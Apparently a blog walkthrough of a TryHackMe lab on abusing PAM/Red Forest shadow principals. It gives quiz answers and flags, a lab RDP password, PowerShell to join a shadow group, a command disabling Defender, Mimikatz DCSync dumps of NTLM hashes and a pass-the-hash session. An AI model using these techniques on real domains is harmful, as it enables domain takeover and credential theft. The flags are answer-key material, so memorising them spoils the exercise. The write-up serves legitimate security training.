TryHackMe PAM Trust Exploitation Walkthrough

Rich

5 min readSep 26, 2026

TL;DR Walkthrough of the TryHackMe PAM Trust Exploitation network room.

This is one of the new TryHackMe MAX Networks. MAX costs more so I’m putting these Walkthroughs in a seperate list:

THM Walkthroughs:

A full list of our TryHackMe walkthroughs and cheatsheets is here.

Background

This is another good, new network room on TryHackMe. This one is about Red Forests although the room’s author oddly never mentioned that term. They kept calling it a bastion or PAM (Privileged Access Management) forest. They also didn’t use the other term Microsoft used to use; EASE (Enhanced Security Admin Environment).

I won’t go over the background of what a Red Forest is, or was as Microsoft no longer recommends them. The room had a decent explanation and you can always read more here or here.

— — Task 1 — -

I have started the network and connected to the bastion box!

No answer needed

— — Task 2 — -

What is the decimal value of the PIM bit setting?

1024

What attribute must be set to “False” in order to disable SID filtering?

SIDFilteringQuarantined

What is the PAM trust direction from the production DC?

Inbound

Outbound

Bidirectional

Outbound

— — Task 3 — -

Which attribute on a shadow principal holds the target production SID?

msDS-ShadowPrincipalSid

An attacker who abuses a shadow principal from a bastion account appears in production’s Domain Admins group.

True

False

Correct Answer

False

When a shadow principal member requests a Kerberos ticket, which part of that ticket does the bastion DC insert the production SID into?

Privilege Attribute Certificate

— — Task 4 — -

Which of the following conditions is not required to abuse the shadow principal?

The domain trust key must be obtained

The ForestTransitive attribute must be True

The SIDFilteringQuarantined attribute must be False

The domain trust key must be obtained

Get Rich’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

What is the trust direction attribute value that is returned when running the Get-ADTrust command from the bastion host?

xfreerdp /v:10.10.10.20 /u:Administrator /d:bastion.thm /p:'Bast1onAdm1n123!@#' /dynamic-resolution +clipboard

Get-ADTrust -Filter * | Select Name, Direction, ForestTransitive, SIDFilteringQuarantined, TrustAttributes

Inbound

What is the name of the shadow principal object on the bastion host?

$ADRoot = (Get-ADDomain).DistinguishedName ; Get-ADObject -SearchBase "CN=Shadow Principal Configuration,CN=Services,CN=Configuration,$ADRoot" -Filter * -Properties * | Select-Object Name, msDS-ShadowPrincipalSid

Get-ADGroup -Server dc01-prod.prod.thm -Identity (Get-ADObject "cn=ProdDomainAdmins,CN=Shadow Principal Configuration,CN=Services,CN=Configuration,$ADRoot" -Properties *).'msDS-ShadowPrincipalSid'.Value

ProdDomainAdmins

— — Task 5 — -

You don’t need write access on the shadow principal to abuse it.

True

False

False

Which PowerShell cmdlet can you use to establish an interactive session to the production DC?

Enter-PSSession

What are the contents of the C:\Admin\task5-flag.txt file?

Get-ADObject "cn=ProdDomainAdmins,CN=Shadow Principal Configuration,CN=Services,CN=Configuration,$ADRoot" | Set-ADObject -Add@{'member' = (Get-ADuser $env:USERNAME).DistinguishedName}

Log off and then log back on as group membership is calculated at login.

ls \\dc01-prod.prod.thm\C$\Admin
cat \\dc01-prod.prod.thm\C$\Admin\task5-flag.txt

THM{f497bdd7a72aa14a876df6a95dd537cb}

— — Task 6 — -

In the demonstrated attack, which privileged production group’s SID was injected as the ExtraSid?

Enterprise Admins

In the Rubeus asktgs command, which service (SPN prefix) do you request a ticket for to reach the production DC’s file shares?

cifs

What are the contents of the C:\EA-Only\task6-flag.txt file?

I did this one via the oldie but goodie PTH.

#Copy/paste Invoke-Mimi to the Desktop
Enter-PSSession dc01-prod.prod.thm
#DC01-PROD had Defender enabled, which will immediately delete Mimikatz
Set-MpPreference -DisableRealTimeMonitoring $true

#Copy/paste Invoke-Mimi.ps1 to \\dc01-prod.prod.thm\C$
cd .\Desktop
. .\Invoke-Mimi
Invoke-Mimi -Command '"token::elevate" "privilege::debug" "lsadump::dcsync /dc:DC01-PROD /domain:prod.thm /all /csv"'

500 Administrator ff775817493abe2407233d81aa4f872d 66048
502 krbtgt d444702f8465a83bb34092bf34a67b6d 66050
1008 DC01-PROD$ aa8ecfbe86af4a99431e803ea60514dd 532480

Invoke-Mimikatz -Command '"sekurlsa::pth /user:administrator /domain:prod.thm /ntlm:ff775817493abe2407233d81aa4f872d /run:PowerShell_ISE"'

Run in the CLI we opened via PTH.

ls '\\dc01-prod.prod.thm\C$\EA-Only'
cat '\\dc01-prod.prod.thm\C$\EA-Only\task6-flag.txt'

THM{d760f22c64ba6e3e29fd6e453dd4f969}

— — Task 7 — -

Mark as complete

Summary

Naturally I also dumped the bastion domain hashes just to add to my hash tracker and compare to other TryHackMe rooms.

. .\Desktop\Invoke-Mimi.ps1
Invoke-Mimi -Command '"token::elevate" "privilege::debug" "lsadump::dcsync /dc:dc01-bas /domain:bastion.thm /all /csv"'

502 krbtgt ab98f2d56db0c477c3759282e6822633 66050
1009 DC01-BAS$ f26723f2988123ffbb18bbd8acc66906 598016
500 Administrator b870838ef7c6c7627b54afc646c344ce 66048
1115 PROD$ 4449a2172b1c4f1cda6c426ca57c61b8 2080

On a sidenote, Microsoft doesn’t recommend the whole Red Forest TTP anymore. I’m sure there are still orgs using them though so it’s worth knowing about.

References

Red Forest background: https://www.ravenswoodtechnology.com/is-the-active-directory-red-forest-dead-time-to-shift-to-the-enterprise-access-model/

EASE: https://petri.com/active-directory-red-forest/

Red Forest: https://www.semperis.com/blog/good-riddance-red-forest-understanding-microsofts-new-privileged-access-management-strategy/

Microsoft’s newer guidance: https://learn.microsoft.com/en-us/security/privileged-access-workstations/privileged-access-strategy